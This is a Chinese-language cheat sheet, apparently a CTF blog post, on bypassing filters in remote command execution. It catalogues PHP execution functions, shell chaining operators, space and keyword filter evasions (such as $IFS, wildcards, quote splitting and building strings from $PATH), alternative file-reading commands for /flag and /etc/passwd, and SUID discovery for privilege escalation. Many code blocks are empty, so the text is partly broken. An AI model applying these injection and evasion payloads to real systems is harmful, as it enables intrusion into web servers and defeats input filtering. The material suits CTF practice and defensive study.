RCE(任意命令执行)绕过
RCE(任意命令执行)绕过
操作系统连接符
分号;:多个命令无论对错顺序执行
&&:前面命令执行不成功后面命令无法执行
&:用于依次执行多个命令,无论前一个命令是否成功。
管道输出符|:前面命令的输出作为后面命令的输入,把前面命令的结果作为后面命令的参数;前面后面的命令都执行,但是只显示后面的命令执行结果。
||:前面的命令执行成功,则后面的命令不会执行;前面的命令执行失败,则后面的命令执行
程序执行函数
os.system()
subprocess.Popen()
exec()
示例exec(“cat /flag”)
exec(string $command, array &$output = null, int &$result_code = null): string|false
exec() 执行 command 参数所指定的命令。
如果提供了 output 参数, 那么会用命令执行的输出填充此数组, 每行输出填充数组中的一个元素。
1 | |
返回值
命令执行结果的最后一行内容。
shell_exec
shell_exec — 通过 shell 执行命令并将完整的输出以字符串的方式返回
示例:shell_exec(ls) shell_exec(ls | tee 1.txt)
不能自己回显,需要print_r等输出内容
system
执行外部程序,并且显示输出
示例:system(’ls’)
passthru
同 exec() 函数类似, passthru() 函数 也是用来执行外部命令的。
想让 passthru() 直接输出到网页,同时存入变量,可以用 tee 命令:
1 | |
不能自己回显,需要print_r等输出内容
backticks(反引号)
和 shell_exec() 类似,返回完整的命令输出。
示例:’ls’
不能自己回显,需要print_r等输出内容
popen
1 | |
不能自己回显,需要print_r等输出内容
proc_open
语法:
1 | |
1 | |
proc_open("ls") 不能直接输出命令执行结果,需要手动读取 pipes[1] 并 echo 逐行输出,使其达到 system("ls") 或 passthru("ls") 的效果。
1 | |
~取反


/ 被过滤
1 | |
1 | |
空格绕过
大括号{ }里无空格
{cat,flag.php}
$IFS
$IFS$9
${IFS}
%09绕过
重定向字符<,<>
在某些环境下,
<和>可以在特定情况下充当空格的作用。例如:1
cat<flag
1 | |
等价于
1 | |
利用 $(echo) 命令替换
$(command) 语法在 Bash 中会执行 command 并用其输出替换该语法。因此,可以用 echo 生成一个空格:
1 | |
;
ls;cat flag
文件名过滤绕过
大小写绕过
通配符??,*绕过
cat /fl??
cat /f*
单引号(‘)双引号(“”)反引号(``)绕过正则
cat /fl””ag
c””at /e’t’c/pas
swd
外面包裹的是单引号里面就是双引号,外面包裹的是双引号里面就是单引号,或者用斜线\去掉功能性,避免报错
1passthru('cat /fl""ag.p\'\'hp')
反斜杠\绕过
位置参数特殊变量:$1到$9、$@和$*
或者在单词结尾处插入$x,这里的x可以是任意字母,例如可以写成如下形式:
c$@at /e$@tc/pas$@swd
cat$x /etc$x/passwd$x
ca$@t /etc$x/passwd$x
内联执行绕过
a=c;b=a;c=t;$a$b$c /1.txt
a=f;c=a;d=g;b=l;cat $a$b$c$d.php(abcd拼接出来flag)
利用linux中的环境变量
使用环境变量里的字符执行变量
echo $PATH #PATH默认系统环境变量
如果出现:
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
echo f${PATH:5:1}${PATH:8:1}${PATH:66:1}.${PATH:93:1}h${PATH:93:1}
表示了flag.php
比如${PATH:5:1}指的是取路径的第五位(从0开始数,第0位是/)的字符,步长为1,即只取一个字母l,以此类推就能拼接成关键字flag.php
编码绕过
读取命令绕过
head
使用 vi/vim 读取文件
1 | |
或者以只读模式打开文件
可以用 view(Vim 内置的只读模式):
1 | |
tac:反向显示,从最后一行开始往前显示
tac /flag
more:一页一页显示档案内容
more flag.php
less:与more类似
tail:查看末尾几行
nl:显示的时候,顺便输出行号
nl /flag
nl flag :当前目录下查找flag
od:以二进制方式读取档案内容。正常的od /flag输出的纯纯二进制
想看到文件内容需要:
passthru(“od -A d -c /fla\g”);
xxd:读取二进制文件
xxd /flag
sort:主要用于排序文件
so?t /flag
/usr/bin/s?rt /flag
/usr/bin/sort 和 sort 实际上是同一个命令。/usr/bin 目录是系统的标准目录之一,它包含了许多系统命令和工具的二进制文件,而 sort 命令通常就存放在 /usr/bin 目录中,因此/usr/bin/sort /flag 和 sort /flag 是等价的。有时候sort不行可能/usr/bin/s?rt可以
uniq:报告或删除文件中重复的行,其实当成cat用就行
file -f:报错出具体内容
passthru(“file -f /flag”);
grep:在文本中查找指定字符串
passthru(“grep fla /fla*”);
strings:
相当于cat
无回显命令执行
1 | |
提权ls /-al
1 | |
1. find /
作用:从根目录
/开始递归搜索整个文件系统。**为什么用
/**:表示搜索所有目录和子目录,确保不遗漏任何文件。功能 示例 按文件名查找 find / -name "flag*"(以flag开头的文件)按文件类型查找 find / -type f(文件)或-type d(目录)按文件大小查找 find / -size +10M(大于10MB的文件)按修改时间查找 find / -mtime -7(7天内修改过的文件)对找到的文件执行操作 find / -name "*.log" -exec rm {} \;(删除所有.log文件)1
find / -name "*flag*" (文件名中含有flag)1
system('find / -type f -name "*flag*" 2>/dev/null');find- 这是 Unix/Linux 系统中用于搜索文件的命令/- 指定搜索的起始目录,这里是根目录,表示搜索整个文件系统-type f- 限制只搜索普通文件(不包括目录、设备文件等)f表示 regular file(普通文件)
-name "*flag*"- 指定要搜索的文件名模式*flag*表示文件名中包含 “flag” 这个词(前后可以有任意字符)- 例如:flag.txt、my_flag_file、flag_backup 等都会被匹配
2>/dev/null- 错误输出重定向2>表示将标准错误输出(stderr)重定向/dev/null是一个特殊设备,会丢弃所有写入它的数据- 这样做的目的是隐藏所有错误消息(如权限不足无法访问某些目录等)
2. -user root
- 作用:只查找属主(owner)是 root 的文件。
- 为什么限制 root:因为 SUID 文件如果是 root 所有,运行时可以获取 root 权限,可能存在提权风险。
3. -perm -4000
- 作用:查找设置了 SUID 位(Set User ID) 的文件。
- SUID 是什么:
- 当普通用户执行 SUID 文件时,该程序会以 文件所有者(root)的权限 运行。
- 例如:
/bin/passwd是 SUID 文件,普通用户修改密码时临时获得 root 权限。
-4000的含义:4代表 SUID 标志(chmod u+s设置的权限)。-表示 至少 要有 SUID 位(可能还有其他权限)。
4. -print
- 作用:打印匹配的文件路径(默认行为,可省略)。
5. 2>/dev/null
- 作用:将错误信息(如
Permission denied)丢弃,避免干扰结果。 - 为什么需要:普通用户运行
find /时,很多系统目录无权限访问,会报错。
6. >1.txt
- 作用:将标准输出(即找到的文件列表)重定向到
1.txt文件,而不是显示在终端。
程序执行(当作php代码执行)
readfile 文件读取
fread(fopen(‘/etc/passwd’,’r’),100);
1 | |
hex2bin(‘参数’); 转换十六进制字符串为二进制字符串
/bin/date -f/flag 2>1.txt